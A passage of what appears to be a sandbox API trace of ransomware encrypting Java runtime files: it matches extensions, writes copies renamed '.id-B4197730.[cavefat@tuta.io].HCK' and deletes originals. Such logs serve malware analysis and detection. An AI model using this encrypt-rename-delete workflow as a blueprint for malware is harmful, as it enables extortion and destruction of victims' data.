lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString=".xls") returned 4 [0226.503] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString=".xlsx") returned 5 [0226.503] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0226.503] lstrlenW (lpString=".ppt") returned 4 [0226.503] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".zip") returned 4 [0226.503] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString=".rar") returned 4 [0226.503] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString=".bz2") returned 4 [0226.503] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.503] lstrlenW (lpString=".7z") returned 3 [0226.503] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".dbf") returned 4 [0226.503] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".1cd") returned 4 [0226.503] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".jpg") returned 4 [0226.503] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".doc") returned 4 [0226.503] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.503] lstrlenW (lpString=".docx") returned 5 [0226.503] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0226.504] lstrlenW (lpString=".pdf") returned 4 [0226.504] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.504] lstrlenW (lpString=".xls") returned 4 [0226.504] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.504] lstrlenW (lpString=".xlsx") returned 5 [0226.504] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0226.504] lstrlenW (lpString=".ppt") returned 4 [0226.504] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.504] lstrlenW (lpString=".zip") returned 4 [0226.504] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.504] lstrlenW (lpString=".rar") returned 4 [0226.504] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.504] lstrlenW (lpString=".bz2") returned 4 [0226.504] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.504] lstrlenW (lpString=".7z") returned 3 [0226.504] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.504] lstrlenW (lpString=".dbf") returned 4 [0226.504] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.504] lstrlenW (lpString=".1cd") returned 4 [0226.504] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.504] lstrlenW (lpString=".jpg") returned 4 [0226.504] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.504] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.504] lstrlenW (lpString="localedata.jar") returned 14 [0226.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.505] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2204781) returned 1 [0226.505] CloseHandle (hObject=0x454) returned 1 [0226.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0226.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".doc") returned 4 [0226.506] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.506] lstrlenW (lpString=".docx") returned 5 [0226.506] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0226.506] lstrlenW (lpString=".pdf") returned 4 [0226.506] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".xls") returned 4 [0226.506] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".xlsx") returned 5 [0226.506] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0226.506] lstrlenW (lpString=".ppt") returned 4 [0226.506] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".zip") returned 4 [0226.506] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".rar") returned 4 [0226.506] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".bz2") returned 4 [0226.506] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.506] lstrlenW (lpString=".7z") returned 3 [0226.506] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".dbf") returned 4 [0226.506] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".1cd") returned 4 [0226.506] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".jpg") returned 4 [0226.506] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.506] lstrlenW (lpString=".doc") returned 4 [0226.506] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.506] lstrlenW (lpString=".docx") returned 5 [0226.506] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0226.506] lstrlenW (lpString=".pdf") returned 4 [0226.506] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".xls") returned 4 [0226.506] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.506] lstrlenW (lpString=".xlsx") returned 5 [0226.506] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0226.506] lstrlenW (lpString=".ppt") returned 4 [0226.506] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.507] lstrlenW (lpString=".zip") returned 4 [0226.507] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.507] lstrlenW (lpString=".rar") returned 4 [0226.507] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.507] lstrlenW (lpString=".bz2") returned 4 [0226.507] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.507] lstrlenW (lpString=".7z") returned 3 [0226.507] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.507] lstrlenW (lpString=".dbf") returned 4 [0226.507] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.507] lstrlenW (lpString=".1cd") returned 4 [0226.507] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0226.507] lstrlenW (lpString=".jpg") returned 4 [0226.507] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.507] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".HCK") returned -1 [0226.507] lstrlenW (lpString="meta-index") returned 10 [0226.507] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.508] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1461) returned 1 [0226.508] CloseHandle (hObject=0x454) returned 1 [0226.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0226.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.508] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.508] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.508] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.508] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0226.509] GetLastError () returned 0x0 [0226.509] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5b5, lpOverlapped=0x0) returned 1 [0226.511] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0226.512] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.512] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe8, lpOverlapped=0x0) returned 1 [0226.512] SetEndOfFile (hFile=0x4a8) returned 1 [0226.512] CloseHandle (hObject=0x4a8) returned 1 [0226.512] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.512] SetEndOfFile (hFile=0x454) returned 1 [0226.514] CloseHandle (hObject=0x454) returned 1 [0226.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.515] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0226.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.515] lstrlenW (lpString=".doc") returned 4 [0226.515] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0226.515] lstrlenW (lpString=".docx") returned 5 [0226.515] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0226.515] lstrlenW (lpString=".pdf") returned 4 [0226.515] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0226.515] lstrlenW (lpString=".xls") returned 4 [0226.515] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0226.515] lstrlenW (lpString=".xlsx") returned 5 [0226.515] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0226.515] lstrlenW (lpString=".ppt") returned 4 [0226.516] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".zip") returned 4 [0226.516] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".rar") returned 4 [0226.516] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".bz2") returned 4 [0226.516] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".7z") returned 3 [0226.516] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".dbf") returned 4 [0226.516] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".1cd") returned 4 [0226.516] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".jpg") returned 4 [0226.516] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".doc") returned 4 [0226.516] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".docx") returned 5 [0226.516] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0226.516] lstrlenW (lpString=".pdf") returned 4 [0226.516] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".xls") returned 4 [0226.516] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".xlsx") returned 5 [0226.516] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0226.516] lstrlenW (lpString=".ppt") returned 4 [0226.516] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.516] lstrlenW (lpString=".zip") returned 4 [0226.516] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".rar") returned 4 [0226.516] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".bz2") returned 4 [0226.516] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0226.516] lstrlenW (lpString=".7z") returned 3 [0226.516] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0226.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.517] lstrlenW (lpString=".dbf") returned 4 [0226.517] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0226.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.517] lstrlenW (lpString=".1cd") returned 4 [0226.517] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0226.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0226.517] lstrlenW (lpString=".jpg") returned 4 [0226.517] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0226.517] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.517] lstrlenW (lpString="nashorn.jar") returned 11 [0226.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.518] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2022734) returned 1 [0226.518] CloseHandle (hObject=0x454) returned 1 [0226.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0226.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0226.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.518] lstrlenW (lpString=".doc") returned 4 [0226.518] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.519] lstrlenW (lpString=".docx") returned 5 [0226.519] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0226.519] lstrlenW (lpString=".pdf") returned 4 [0226.519] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".xls") returned 4 [0226.519] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".xlsx") returned 5 [0226.519] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0226.519] lstrlenW (lpString=".ppt") returned 4 [0226.519] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString=".zip") returned 4 [0226.519] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".rar") returned 4 [0226.519] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".bz2") returned 4 [0226.519] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.519] lstrlenW (lpString=".7z") returned 3 [0226.519] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString=".dbf") returned 4 [0226.519] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString=".1cd") returned 4 [0226.519] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString=".jpg") returned 4 [0226.519] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.519] lstrlenW (lpString=".doc") returned 4 [0226.519] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.519] lstrlenW (lpString=".docx") returned 5 [0226.519] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0226.519] lstrlenW (lpString=".pdf") returned 4 [0226.519] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".xls") returned 4 [0226.519] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.519] lstrlenW (lpString=".xlsx") returned 5 [0226.519] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0226.519] lstrlenW (lpString=".ppt") returned 4 [0226.520] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.520] lstrlenW (lpString=".zip") returned 4 [0226.520] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.520] lstrlenW (lpString=".rar") returned 4 [0226.520] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.520] lstrlenW (lpString=".bz2") returned 4 [0226.520] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.520] lstrlenW (lpString=".7z") returned 3 [0226.520] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.520] lstrlenW (lpString=".dbf") returned 4 [0226.520] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.520] lstrlenW (lpString=".1cd") returned 4 [0226.520] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0226.520] lstrlenW (lpString=".jpg") returned 4 [0226.520] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.520] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.520] lstrlenW (lpString="sunec.jar") returned 9 [0226.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.521] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=42185) returned 1 [0226.521] CloseHandle (hObject=0x454) returned 1 [0226.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0226.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.522] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.522] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0226.522] GetLastError () returned 0x0 [0226.522] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0226.525] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, 